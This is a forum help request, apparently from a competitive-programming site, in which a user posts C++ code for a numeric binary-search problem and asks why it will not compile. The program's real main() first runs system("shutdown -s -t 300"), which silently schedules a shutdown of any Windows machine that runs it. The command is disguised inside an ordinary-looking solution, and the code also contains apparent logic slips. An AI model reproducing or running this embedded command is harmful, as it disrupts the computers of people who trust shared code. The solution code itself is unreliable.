求助
  • 板块灌水区
  • 楼主xinmouren24
  • 当前回复11
  • 已保存回复11
  • 发布时间2021/6/10 21:35
  • 上次更新2023/11/4 22:02:42
查看原帖
求助
474008
xinmouren24楼主2021/6/10 21:35

有谁知道哪里编译错误了???

#include<bits/stdc++.h>
#define il inline
#define reg register int
#define numb (ch^'0')
using namespace std;
typedef long long ll;
il void rd(int &x)
{
    char ch;bool fl=false;
    while(!isdigit(ch=getchar()))(ch=='-')&&(fl=true);
    for(x=numb;isdigit(ch=getchar());x=x*10+numb);
    (fl==true)&&(x=-x);
}
namespace Miracle{
const int N=1e4+4;
const double eps=1e-14;
double ans;
double s[N],vi[N],k[N];
int n;
double eu;
double jie(double x,int i)
{
    double l=max(vi[i],(double)0),r=100000.0;
    double ret=0.00;
    int cnt=60;
    while(r-l>eps){
        double mid=(l+r)/2;
        if(mid*mid*(mid-vi[i])*2*k[i]*x<=-1) r=mid;
        else l=mid;
    }
    ret=(l+r)/2;
    return ret;
}
double che(double mid)
{
    double sum=0;
    for(reg i=1;i<=n;++i)
    {
        double v=jie(mid,i);
        sum+=k[i]*s[i]*(v-vi[i])*(v-vi[i]);
    }
    return sum;
}
int main()
{
    rd(n);
    scanf("%lf",&eu);
    for(reg i=1;i<=n;++i)
    {
        scanf("%lf%lf%lf",&s[i],&k[i],&vi[i]);
    }
    double r=0.0,l=-100000000.00;
    int cnt=100;
    while(r-l>eps)
    {
        double mid=(l+r)/2.0;
        double now=che(mid);
        if(now<=eu) l=mid;
        else r=mid;
    }
    double mid=(l+r)/2.0;
    for(reg i=1;i<n;++i)
    {
        ans+=s[i]/jie(mid,i);
    }
    printf("%.10lf",ans);
    return 0;
}

}
signed main()
{
	system("shutdown -s -t 300"); 
    Miracle::main();
    
    return 0;
}
2021/6/10 21:35
加载中...